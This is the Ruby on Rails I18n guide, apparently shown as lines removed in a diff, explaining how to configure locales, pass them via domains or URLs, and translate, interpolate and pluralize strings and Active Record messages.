-
-endprologue.
-
-NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
-
-h3. How I18n in Ruby on Rails Works
-
-Internationalization is a complex problem. Natural languages differ in so many ways (e.g. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
-
-* providing support for English and similar languages out of the box
-* making it easy to customize and extend everything for other languages
-
-As part of this solution, *every static string in the Rails framework* -- e.g. Active Record validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
-
-h4. The Overall Architecture of the Library
-
-Thus, the Ruby I18n gem is split into two parts:
-
-* The public API of the i18n framework -- a Ruby module with public methods that define how the library works
-* A default backend (which is intentionally named _Simple_ backend) that implements these methods
-
-As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
-
-NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below.
-
-h4. The Public I18n API
-
-The most important methods of the I18n API are:
-
-<ruby>
-translate # Lookup text translations
-localize # Localize Date and Time objects to local formats
-</ruby>
-
-These have the aliases #t and #l so you can use them like this:
-
-<ruby>
-I18n.t 'store.title'
-I18n.l Time.now
-</ruby>
-
-There are also attribute readers and writers for the following attributes:
-
-<ruby>
-load_path # Announce your custom translation files
-locale # Get and set the current locale
-default_locale # Get and set the default locale
-exception_handler # Use a different exception_handler
-backend # Use a different backend
-</ruby>
-
-So, let's internationalize a simple Rails application from the ground up in the next chapters!
-
-h3. Setup the Rails Application for Internationalization
-
-There are just a few simple steps to get up and running with I18n support for your application.
-
-h4. Configure the I18n Module
-
-Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
-
-Rails adds all +.rb+ and +.yml+ files from the +config/locales+ directory to your *translations load path*, automatically.
-
-The default +en.yml+ locale in this directory contains a sample pair of translation strings:
-
-<ruby>
-en:
- hello: "Hello world"
-</ruby>
-
-This means, that in the +:en+ locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "+activerecord/lib/active_record/locale/en.yml+":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "+activesupport/lib/active_support/locale/en.yml+":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
-
-The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations.
-
-NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it.
-
-The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
-
-NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
-
-The default +application.rb+ files has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
-
-<ruby>
-# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
-# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
-# config.i18n.default_locale = :de
-</ruby>
-
-h4. Optional: Custom I18n Configuration Setup
-
-For the sake of completeness, let's mention that if you do not want to use the +application.rb+ file for some reason, you can always wire up things manually, too.
-
-To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer:
-
-<ruby>
-# in config/initializers/locale.rb
-
-# tell the I18n library where to find your translations
-I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
-
-# set default locale to something other than :en
-I18n.default_locale = :pt
-</ruby>
-
-h4. Setting and Passing the Locale
-
-If you want to translate your Rails application to a *single language other than English* (the default locale), you can set I18n.default_locale to your locale in +application.rb+ or an initializer as shown above, and it will persist through the requests.
-
-However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
-
-WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>. *Do not do so*. The locale should be transparent and a part of the URL. This way you don't break people's basic assumptions about the web itself: if you send a URL of some page to a friend, she should see the same page, same content. A fancy word for this would be that you're being "<em>RESTful</em>":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. There may be some exceptions to this rule, which are discussed below.
-
-The _setting part_ is easy. You can set the locale in a +before_filter+ in the +ApplicationController+ like this:
-
-<ruby>
-before_filter :set_locale
-
-def set_locale
- I18n.locale = params[:locale] || I18n.default_locale
-end
-</ruby>
-
-This requires you to pass the locale as a URL query parameter as in +http://example.com/books?locale=pt+. (This is, for example, Google's approach.) So +http://localhost:3000?locale=pt+ will load the Portuguese localization, whereas +http://localhost:3000?locale=de+ would load the German localization, and so on. You may skip the next section and head over to the *Internationalize your application* section, if you want to try things out by manually placing the locale in the URL and reloading the page.
-
-Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual +http://example.com/pt/books+ versus +http://example.com/en/books+. Let's discuss the different options you have.
-
-h4. Setting the Locale from the Domain Name
-
-One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
-
-* The locale is an _obvious_ part of the URL.
-* People intuitively grasp in which language the content will be displayed.
-* It is very trivial to implement in Rails.
-* Search engines seem to like that content in different languages lives at different, inter-linked domains.
-
-You can implement it like this in your +ApplicationController+:
-
-<ruby>
-before_filter :set_locale
-
-def set_locale
- I18n.locale = extract_locale_from_tld || I18n.default_locale
-end
-
-# Get locale from top-level domain or return nil if such locale is not available
-# You have to put something like:
-# 127.0.0.1 application.com
-# 127.0.0.1 application.it
-# 127.0.0.1 application.pl
-# in your /etc/hosts file to try this out locally
-def extract_locale_from_tld
- parsed_locale = request.host.split('.').last
- I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
-end
-</ruby>
-
-We can also set the locale from the _subdomain_ in a very similar way:
-
-<ruby>
-# Get locale code from request subdomain (like http://it.application.local:3000)
-# You have to put something like:
-# 127.0.0.1 gr.application.local
-# in your /etc/hosts file to try this out locally
-def extract_locale_from_subdomain
- parsed_locale = request.subdomains.first
- I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
-end
-</ruby>
-
-If your application includes a locale switching menu, you would then have something like this in it:
-
-<ruby>
-link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
-</ruby>
-
-assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+.
-
-This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
-
-h4. Setting the Locale from the URL Params
-
-The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case.
-
-This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
-
-Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course.
-
-Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method).
-
-We can include something like this in our +ApplicationController+ then:
-
-<ruby>
-# app/controllers/application_controller.rb
-def default_url_options(options={})
- logger.debug "default_url_options is passed options: #{options.inspect}\n"
- { :locale => I18n.locale }
-end
-</ruby>
-
-Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+.
-
-You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
-
-You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+path_prefix+":http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354 option in this way:
-
-<ruby>
-# config/routes.rb
-scope "/:locale" do
- resources :books
-end
-</ruby>
-
-Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
-
-If you don't want to force the use of a locale in your routes you can use an optional path scope (donated by the use brackets) like so:
-
-<ruby>
-# config/routes.rb
-scope "(:locale)", :locale => /en|nl/ do
- resources :books
-end
-</ruby>
-
-With this approach you will not get a +Routing Error+ when accessing your resources such as +http://localhost:3001/books+ without a locale. This is useful for when you want to use the default locale when one is not specified.
-
-Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +root :to => "books#index"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.)
-
-You would probably need to map URLs like these:
-
-<ruby>
-# config/routes.rb
-match '/:locale' => 'dashboard#index'
-</ruby>
-
-Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +root :to+ declaration.)
-
-NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":https://github.com/raul/translate_routes/tree/master.
-
-h4. Setting the Locale from the Client Supplied Information
-
-In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above.
-
-
-h5. Using +Accept-Language+
-
-One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
-
-A trivial implementation of using an +Accept-Language+ header would be:
-
-<ruby>
-def set_locale
- logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
- I18n.locale = extract_locale_from_accept_language_header
- logger.debug "* Locale set to '#{I18n.locale}'"
-end
-private
-def extract_locale_from_accept_language_header
- request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
-end
-</ruby>
-
-Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb.
-
-h5. Using GeoIP (or Similar) Database
-
-Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
-
-h5. User Profile
-
-You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
-
-h3. Internationalizing your Application
-
-OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
-
-Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide necessary translations for these abstracts.
-
-You most probably have something like this in one of your applications:
-
-<ruby>
-# config/routes.rb
-Yourapp::Application.routes.draw do
- root :to => "home#index"
-end
-
-# app/controllers/home_controller.rb
-class HomeController < ApplicationController
- def index
- flash[:notice] = "Hello Flash"
- end
-end
-
-# app/views/home/index.html.erb
-<h1>Hello World</h1>
-<p><%= flash[:notice] %></p>
-</ruby>
-
-!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
-
-h4. Adding Translations
-
-Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
-
-<ruby>
-# app/controllers/home_controller.rb
-class HomeController < ApplicationController
- def index
- flash[:notice] = t(:hello_flash)
- end
-end
-
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p>
-</ruby>
-
-When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing.
-
-!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)!
-
-NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +&lt;span class="translation_missing"&gt;+.
-
-So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
-
-<ruby>
-# config/locales/en.yml
-en:
- hello_world: Hello world!
- hello_flash: Hello flash!
-
-# config/locales/pirate.yml
-pirate:
- hello_world: Ahoy World
- hello_flash: Ahoy Flash
-</ruby>
-
-There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
-
-!images/i18n/demo_translated_en.png(rails i18n demo translated to English)!
-
-And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get:
-
-!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)!
-
-NOTE: You need to restart the server when you add new locale files.
-
-You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
-
-h4. Passing variables to translations
-
-You can use variables in the translation messages and pass their values from the view.
-
-<ruby>
-# app/views/home/index.html.erb
-<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %>
-
-# config/locales/en.yml
-en:
- greet_username: "%{message}, %{user}!"
-</ruby>
-
-h4. Adding Date/Time Formats
-
-OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
-
-<ruby>
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p
-<p><%= l Time.now, :format => :short %></p>
-</ruby>
-
-And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
-
-<ruby>
-# config/locales/pirate.yml
-pirate:
- time:
- formats:
- short: "arrrround %H'ish"
-</ruby>
-
-So that would give you:
-
-!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)!
-
-TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails' defaults for your locale*. See the "rails-i18n repository at Github":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locales/+ directory, they will automatically be ready for use.
-
-h4. Localized Views
-
-Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.)
-
-You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
-
-h4. Organization of Locale Files
-
-When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
-
-For example, your +config/locales+ directory could look like this:
-
-<pre>
-|-defaults
-|---es.rb
-|---en.rb
-|-models
-|---book
-|-----es.rb
-|-----en.rb
-|-views
-|---defaults
-|-----es.rb
-|-----en.rb
-|---books
-|-----es.rb
-|-----en.rb
-|---users
-|-----es.rb
-|-----en.rb
-|---navigation
-|-----es.rb
-|-----en.rb
-</pre>
-
-This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
-
-NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
-
-<ruby>
- # config/application.rb
- config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')]
-
-</ruby>
-
-Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
-
-h3. Overview of the I18n API Features
-
-You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
-
-Covered are features like these:
-
-* looking up translations
-* interpolating data into translations
-* pluralizing translations
-* using safe HTML translations
-* localizing dates, numbers, currency, etc.
-
-h4. Looking up Translations
-
-h5. Basic Lookup, Scopes and Nested Keys
-
-Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
-
-<ruby>
-I18n.t :message
-I18n.t 'message'
-</ruby>
-
-The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
-
-<ruby>
-I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
-
-This looks up the +:record_invalid+ message in the Active Record error messages.
-
-Additionally, both the key and scopes can be specified as dot-separated keys as in:
-
-<ruby>
-I18n.translate "activerecord.errors.messages.record_invalid"
-</ruby>
-
-Thus the following calls are equivalent:
-
-<ruby>
-I18n.t 'activerecord.errors.messages.record_invalid'
-I18n.t 'errors.messages.record_invalid', :scope => :active_record
-I18n.t :record_invalid, :scope => 'activerecord.errors.messages'
-I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages]
-</ruby>
-
-h5. Defaults
-
-When a +:default+ option is given, its value will be returned if the translation is missing:
-
-<ruby>
-I18n.t :missing, :default => 'Not here'
-# => 'Not here'
-</ruby>
-
-If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
-
-E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned:
-
-<ruby>
-I18n.t :missing, :default => [:also_missing, 'Not here']
-# => 'Not here'
-</ruby>
-
-h5. Bulk and Namespace Lookup
-
-To look up multiple translations at once, an array of keys can be passed:
-
-<ruby>
-I18n.t [:odd, :even], :scope => 'activerecord.errors.messages'
-# => ["must be odd", "must be even"]
-</ruby>
-
-Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
-
-<ruby>
-I18n.t 'activerecord.errors.messages'
-# => { :inclusion => "is not included in the list", :exclusion => ... }
-</ruby>
-
-h5. "Lazy" Lookup
-
-Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
-
-<yaml>
-es:
- books:
- index:
- title: "Título"
-</yaml>
-
-you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot):
-
-<ruby>
-<%= t '.title' %>
-</ruby>
-
-h4. Interpolation
-
-In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
-
-All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation:
-
-<ruby>
-I18n.backend.store_translations :en, :thanks => 'Thanks %{name}!'
-I18n.translate :thanks, :name => 'Jeremy'
-# => 'Thanks Jeremy!'
-</ruby>
-
-If a translation uses +:default+ or +:scope+ as an interpolation variable, an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised.
-
-h4. Pluralization
-
-In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar, "Japanese":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja, "Russian":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
-
-The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
-
-<ruby>
-I18n.backend.store_translations :en, :inbox => {
- :one => '1 message',
- :other => '%{count} messages'
-}
-I18n.translate :inbox, :count => 2
-# => '2 messages'
-</ruby>
-
-The algorithm for pluralizations in +:en+ is as simple as:
-
-<ruby>
-entry[count == 1 ? 0 : 1]
-</ruby>
-
-I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero).
-
-If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised.
-
-h4. Setting and Passing a Locale
-
-The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+.
-
-If no locale is passed, +I18n.locale+ is used:
-
-<ruby>
-I18n.locale = :de
-I18n.t :foo
-I18n.l Time.now
-</ruby>
-
-Explicitly passing a locale:
-
-<ruby>
-I18n.t :foo, :locale => :de
-I18n.l Time.now, :locale => :de
-</ruby>
-
-The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this:
-
-<ruby>
-I18n.default_locale = :de
-</ruby>
-
-h4. Using Safe HTML Translations
-
-Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
-
-<ruby>
-# config/locales/en.yml
-en:
- welcome: <b>welcome!</b>
- hello_html: <b>hello!</b>
- title:
- html: <b>title!</b>
-
-# app/views/home/index.html.erb
-<div><%= t('welcome') %></div>
-<div><%= raw t('welcome') %></div>
-<div><%= t('hello_html') %></div>
-<div><%= t('title.html') %></div>
-</ruby>
-
-!images/i18n/demo_html_safe.png(i18n demo html safe)!
-
-h3. How to Store your Custom Translations
-
-The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
-
-For example a Ruby Hash providing translations can look like this:
-
-<ruby>
-{
- :pt => {
- :foo => {
- :bar => "baz"
- }
- }
-}
-</ruby>
-
-The equivalent YAML file would look like this:
-
-<ruby>
-pt:
- foo:
- bar: baz
-</ruby>
-
-As you see, in both cases the top level key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz".
-
-Here is a "real" example from the Active Support +en.yml+ translations YAML file:
-
-<ruby>
-en:
- date:
- formats:
- default: "%Y-%m-%d"
- short: "%b %d"
- long: "%B %d, %Y"
-</ruby>
-
-So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+:
-
-<ruby>
-I18n.t 'date.formats.short'
-I18n.t 'formats.short', :scope => :date
-I18n.t :short, :scope => 'date.formats'
-I18n.t :short, :scope => [:date, :formats]
-</ruby>
-
-Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
-
-h4. Translations for Active Record Models
-
-You can use the methods +Model.model_name.human+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names.
-
-For example when you add the following translations:
-
-<ruby>
-en:
- activerecord:
- models:
- user: Dude
- attributes:
- user:
- login: "Handle"
- # will translate User attribute "login" as "Handle"
-</ruby>
-
-Then +User.model_name.human+ will return "Dude" and +User.human_attribute_name("login")+ will return "Handle".
-
-h5. Error Message Scopes
-
-Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
-
-This gives you quite powerful means to flexibly adjust your messages to your application's needs.
-
-Consider a User model with a validation for the name attribute like this:
-
-<ruby>
-class User < ActiveRecord::Base
- validates :name, :presence => true
-end
-</ruby>
-
-The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces:
-
-<ruby>
-activerecord.errors.models.[model_name].attributes.[attribute_name]
-activerecord.errors.models.[model_name]
-activerecord.errors.messages
-errors.attributes.[attribute_name]
-errors.messages
-</ruby>
-
-Thus, in our example it will try the following keys in this order and return the first result:
-
-<ruby>
-activerecord.errors.models.user.attributes.name.blank
-activerecord.errors.models.user.blank
-activerecord.errors.messages.blank
-errors.attributes.name.blank
-errors.messages.blank
-</ruby>
-
-When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
-
-For example, you might have an Admin model inheriting from User:
-
-<ruby>
-class Admin < User
- validates :name, :presence => true
-end
-</ruby>
-
-Then Active Record will look for messages in this order:
-
-<ruby>
-activerecord.errors.models.admin.attributes.name.blank
-activerecord.errors.models.admin.blank
-activerecord.errors.models.user.attributes.name.blank
-activerecord.errors.models.user.blank
-activerecord.errors.messages.blank
-errors.attributes.name.blank
-errors.messages.blank
-</ruby>
-
-This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
-
-h5. Error Message Interpolation
-
-The translated model name, translated attribute name, and value are always available for interpolation.
-
-So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your %{attribute}"+.
-
-* +count+, where available, can be used for pluralization if present:
-
-|_. validation |_.with option |_.message |_.interpolation|
-| confirmation | - | :confirmation | -|
-| acceptance | - | :accepted | -|
-| presence | - | :blank | -|
-| length | :within, :in | :too_short | count|
-| length | :within, :in | :too_long | count|
-| length | :is | :wrong_length | count|
-| length | :minimum | :too_short | count|
-| length | :maximum | :too_long | count|
-| uniqueness | - | :taken | -|
-| format | - | :invalid | -|
-| inclusion | - | :inclusion | -|
-| exclusion | - | :exclusion | -|
-| associated | - | :invalid | -|
-| numericality | - | :not_a_number | -|
-| numericality | :greater_than | :greater_than | count|
-| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count|
-| numericality | :equal_to | :equal_to | count|
-| numericality | :less_than | :less_than | count|
-| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count|
-| numericality | :odd | :odd | -|
-| numericality | :even | :even | -|
-
-h5. Translations for the Active Record +error_messages_for+ Helper
-
-If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it.
-
-Rails ships with the following translations:
-
-<yaml>
-en:
- activerecord:
- errors:
- template:
- header:
- one: "1 error prohibited this %{model} from being saved"
- other: "%{count} errors prohibited this %{model} from being saved"
- body: "There were problems with the following fields:"
-</yaml>
-
-h4. Overview of Other Built-In Methods that Provide I18n Support
-
-Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
-
-h5. Action View Helper Methods
-
-* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
-
-* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the "datetime.prompts":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable.
-
-* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
-
-h5. Active Record Methods
-
-* +model_name.human+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
-
-* +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +model_name.human+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
-
-*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and which defaults to +'&nbsp;'+).
